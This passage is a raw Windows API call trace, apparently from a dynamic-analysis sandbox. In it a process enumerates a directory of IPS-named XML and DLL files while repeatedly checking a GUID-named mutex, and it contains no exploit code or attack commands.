[0047.011] GlobalUnlock (hMem=0x44000c) returned 0 [0047.011] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.011] GlobalUnlock (hMem=0x440004) returned 0 [0047.011] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.011] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0047.011] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.011] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.011] GlobalLock (hMem=0x440004) returned 0x551178 [0047.011] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.011] GlobalUnlock (hMem=0x440004) returned 0 [0047.011] GlobalLock (hMem=0x440004) returned 0x551178 [0047.011] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.011] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.011] GlobalUnlock (hMem=0x440004) returned 0 [0047.011] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.011] GlobalUnlock (hMem=0x44000c) returned 0 [0047.011] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.011] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0047.011] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.011] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.011] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.011] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.011] GlobalUnlock (hMem=0x44000c) returned 0 [0047.011] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.011] GlobalLock (hMem=0x440004) returned 0x553188 [0047.011] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.012] GlobalUnlock (hMem=0x44000c) returned 0 [0047.012] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.012] GlobalUnlock (hMem=0x440004) returned 0 [0047.012] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.012] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0047.012] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.012] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.012] GlobalLock (hMem=0x440004) returned 0x551178 [0047.012] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.012] GlobalUnlock (hMem=0x440004) returned 0 [0047.012] GlobalLock (hMem=0x440004) returned 0x551178 [0047.012] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.012] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.012] GlobalUnlock (hMem=0x440004) returned 0 [0047.012] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.012] GlobalUnlock (hMem=0x44000c) returned 0 [0047.012] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.012] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0047.012] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.012] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.012] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.012] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.012] GlobalUnlock (hMem=0x44000c) returned 0 [0047.012] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.012] GlobalLock (hMem=0x440004) returned 0x553188 [0047.012] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.012] GlobalUnlock (hMem=0x44000c) returned 0 [0047.012] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.012] GlobalUnlock (hMem=0x440004) returned 0 [0047.012] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.012] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0047.012] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.012] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.013] GlobalLock (hMem=0x440004) returned 0x551178 [0047.013] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.013] GlobalUnlock (hMem=0x440004) returned 0 [0047.013] GlobalLock (hMem=0x440004) returned 0x551178 [0047.013] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.013] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.013] GlobalUnlock (hMem=0x440004) returned 0 [0047.013] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.013] GlobalUnlock (hMem=0x44000c) returned 0 [0047.013] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.013] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0047.013] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.013] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.013] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.013] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.013] GlobalUnlock (hMem=0x44000c) returned 0 [0047.013] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.013] GlobalLock (hMem=0x440004) returned 0x553188 [0047.013] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.013] GlobalUnlock (hMem=0x44000c) returned 0 [0047.013] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.013] GlobalUnlock (hMem=0x440004) returned 0 [0047.013] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.013] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c9602b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c9602b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0047.013] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.013] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.013] GlobalLock (hMem=0x440004) returned 0x551178 [0047.013] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.013] GlobalUnlock (hMem=0x440004) returned 0 [0047.013] GlobalLock (hMem=0x440004) returned 0x551178 [0047.013] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.013] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.013] GlobalUnlock (hMem=0x440004) returned 0 [0047.013] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.013] GlobalUnlock (hMem=0x44000c) returned 0 [0047.014] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.014] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0047.014] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.014] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.014] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.014] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.014] GlobalUnlock (hMem=0x44000c) returned 0 [0047.014] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.014] GlobalLock (hMem=0x440004) returned 0x553188 [0047.014] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.014] GlobalUnlock (hMem=0x44000c) returned 0 [0047.014] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.014] GlobalUnlock (hMem=0x440004) returned 0 [0047.014] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.014] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0047.014] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.014] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.014] GlobalLock (hMem=0x440004) returned 0x551178 [0047.014] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.014] GlobalUnlock (hMem=0x440004) returned 0 [0047.014] GlobalLock (hMem=0x440004) returned 0x551178 [0047.014] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.014] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.014] GlobalUnlock (hMem=0x440004) returned 0 [0047.014] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.014] GlobalUnlock (hMem=0x44000c) returned 0 [0047.014] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.014] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0047.014] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.014] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.014] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.014] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.014] GlobalUnlock (hMem=0x44000c) returned 0 [0047.014] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.015] GlobalLock (hMem=0x440004) returned 0x553188 [0047.015] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.015] GlobalUnlock (hMem=0x44000c) returned 0 [0047.015] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.015] GlobalUnlock (hMem=0x440004) returned 0 [0047.015] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.015] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0047.015] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.015] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.015] GlobalLock (hMem=0x440004) returned 0x551178 [0047.015] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.015] GlobalUnlock (hMem=0x440004) returned 0 [0047.015] GlobalLock (hMem=0x440004) returned 0x551178 [0047.015] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.015] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.015] GlobalUnlock (hMem=0x440004) returned 0 [0047.015] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.015] GlobalUnlock (hMem=0x44000c) returned 0 [0047.015] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.015] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0047.015] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.015] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.015] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.015] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.015] GlobalUnlock (hMem=0x44000c) returned 0 [0047.015] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.015] GlobalLock (hMem=0x440004) returned 0x553188 [0047.015] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.015] GlobalUnlock (hMem=0x44000c) returned 0 [0047.015] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.015] GlobalUnlock (hMem=0x440004) returned 0 [0047.015] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.015] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0047.015] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.016] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.016] GlobalLock (hMem=0x440004) returned 0x551178 [0047.016] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.016] GlobalUnlock (hMem=0x440004) returned 0 [0047.016] GlobalLock (hMem=0x440004) returned 0x551178 [0047.016] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.016] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.016] GlobalUnlock (hMem=0x440004) returned 0 [0047.016] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.016] GlobalUnlock (hMem=0x44000c) returned 0 [0047.016] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.016] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0047.016] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.016] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.016] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.016] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.016] GlobalUnlock (hMem=0x44000c) returned 0 [0047.016] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.016] GlobalLock (hMem=0x440004) returned 0x553188 [0047.016] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.016] GlobalUnlock (hMem=0x44000c) returned 0 [0047.016] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.016] GlobalUnlock (hMem=0x440004) returned 0 [0047.016] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.016] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0047.016] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.016] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.016] GlobalLock (hMem=0x440004) returned 0x551178 [0047.016] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.016] GlobalUnlock (hMem=0x440004) returned 0 [0047.016] GlobalLock (hMem=0x440004) returned 0x551178 [0047.016] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.016] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.016] GlobalUnlock (hMem=0x440004) returned 0 [0047.017] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.017] GlobalUnlock (hMem=0x44000c) returned 0 [0047.017] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.017] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0047.017] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.017] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.017] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.017] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.017] GlobalUnlock (hMem=0x44000c) returned 0 [0047.017] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.017] GlobalLock (hMem=0x440004) returned 0x553188 [0047.017] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.017] GlobalUnlock (hMem=0x44000c) returned 0 [0047.017] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.017] GlobalUnlock (hMem=0x440004) returned 0 [0047.017] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.017] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0047.017] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.017] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.017] GlobalLock (hMem=0x440004) returned 0x551178 [0047.017] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.017] GlobalUnlock (hMem=0x440004) returned 0 [0047.017] GlobalLock (hMem=0x440004) returned 0x551178 [0047.017] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.017] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.017] GlobalUnlock (hMem=0x440004) returned 0 [0047.017] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.017] GlobalUnlock (hMem=0x44000c) returned 0 [0047.017] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.017] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", 